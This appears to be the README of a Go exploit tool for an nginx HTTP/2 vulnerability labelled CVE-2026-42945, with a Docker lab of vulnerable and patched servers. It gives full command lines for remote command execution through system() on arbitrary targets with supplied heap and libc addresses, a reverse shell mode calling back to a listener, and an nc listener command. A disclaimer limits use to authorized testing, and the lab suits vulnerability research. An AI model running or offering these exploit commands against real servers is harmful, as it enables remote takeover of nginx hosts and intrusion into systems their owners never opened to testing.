redcrazyghost/cve-2026-42945Go-based exploit tool for CVE-2026-42945 (nginx HTTP/2) with detection, crash probing, command execution, and reverse shell capabilities for authorized security testing.
中文 | English
A detection and exploitation helper for nginx HTTP/2 (CVE-2026-42945). Use it only in authorized environments to verify vulnerability presence, compare patched vs. vulnerable behavior, and reproduce PoC logic in a controlled lab.
Affected versions (heuristic): nginx 0.6.27 – 1.30.0; 1.30.1+ / 1.31.0+ are patched.
This repository is for security research, vulnerability validation, and defensive testing only.
If you do not accept these terms, stop using this project and delete your copy.
| Mode | Description |
|---|---|
-check-only | Connectivity, Server header, version heuristic, PoC endpoint probe |
-probe-crash | One-round overflow probe with worker-crash side channel |
-cmd | Build exploit payload and run command via system() |
-shell | Reverse shell (requires -lhost; uses system nc) |
-docker | Batch-test local Docker lab (vuln / fixed) |
go.mod)make, golangci-lint (development)GET /api/, POST /spray, etc.); the Docker lab image includes them| Topic | Notes |
|---|---|
| Protocol | Plain HTTP only (net.Dial + raw HTTP bytes). No HTTPS/TLS. For port 443, use TLS termination in front or an HTTP port. |
| Docker lab | linux/amd64 image; first docker compose build compiles nginx from source (slow). Containers run with setarch -R (ASLR off), unlike production. |
| Apple Silicon | Docker uses platform: linux/amd64 emulation (slower). |
| Reverse shell | -shell depends on system nc; on Windows, listen manually. |
| Success criteria | Worker-crash side channel ≠ RCE; always verify command side effects. |
# Quick build (output under bin/, gitignored)
make build-cmd
# Or with go directly
go build -o ./bin/cve-2026-42945 ./cmd
# Show embedded version
./bin/cve-2026-42945 -version
Release binaries: download cve-2026-42945-<os>-<arch> from Releases (built by GitHub Actions on v* tags).
-target string Target IP/hostname (default 127.0.0.1)
-port int Target port (0=80; Docker vuln often 19321)
-docker Test local Docker lab (vuln:19321, fixed:19331)
-check-only Probe only; no exploit traffic
-probe-crash Overflow probe + worker crash side channel
-cmd string Command to run via system()
-shell Reverse shell (requires -lhost)
-lhost string Local IP for reverse shell
-lport int Local port for reverse shell (default 4444)
-docker-profile Use measured heap/libc bases from deploy/docker
-heap-base string Heap base (hex, e.g. 0x555555659000)
-libc-base string libc base (hex)
-tries int Attempts per heap candidate (default 10)
-timeout int HTTP timeout in seconds (default 5)
-v Verbose output
-version Print version and exit
-dockercannot be combined with-cmd/-shell; for single-target exploit use-port 19321.
./bin/cve-2026-42945 -target 192.168.1.10 -port 80 -check-only
./bin/cve-2026-42945 -port 19321 -probe-crash -v
Start the lab:
make docker-up
# or
docker compose -f deploy/docker-compose.yml up -d --build
First build compiles nginx and may take several minutes. Run
make test-labafterdocker compose psshows healthy.
| Service | Port | Description |
|---|---|---|
| vuln | 19321 | nginx 1.30.0 (vulnerable) |
| fixed | 19331 | nginx 1.30.1 (patched) |
Batch probe:
./bin/cve-2026-42945 -docker -check-only
./bin/cve-2026-42945 -docker -probe-crash
Makefile shortcuts:
make test-lab # check + probe
make cmd-exploit # write /tmp/pwned on vuln and print verify command
Best results with ASLR disabled in the lab (setarch -R) and -docker-profile:
./bin/cve-2026-42945 -port 19321 -docker-profile \
-cmd 'echo pwned > /tmp/pwned' -v
# Verify file was written
docker exec nginx-rift-vuln-1.30.0 cat /tmp/pwned
# Terminal 1: run tool (tries to start nc in background)
./bin/cve-2026-42945 -port 19321 -docker-profile -shell -lhost 10.0.0.5 -lport 4444 -v
# If nc is missing, listen manually in another terminal:
nc -lvnp 4444
When ASLR, libc, or layout differ from Docker, supply bases yourself:
# Target must be plain HTTP (not TLS)
./bin/cve-2026-42945 -target TARGET -port 8080 \
-heap-base 0x555555659000 \
-libc-base 0x7ffff77ba000 \
-cmd 'id' -tries 20 -v
[+] Side channel: worker anomaly: Suggests a worker may have crashed; not sufficient proof of RCE.docker exec, etc.cmd/ CLI entrypoint
internal/rift/ Probe, payload, exploit logic
deploy/docker/ nginx 1.30.0 / 1.30.1 lab images
deploy/docker-compose.yml
.github/workflows/ Multi-platform release builds
make help # List make targets
make test # Unit tests
make lint # golangci-lint
make version # Show build version
Release a new version:
git tag v1.0.0
git push origin v1.0.0
Use this tool only on systems you are authorized to test. The authors are not responsible for misuse.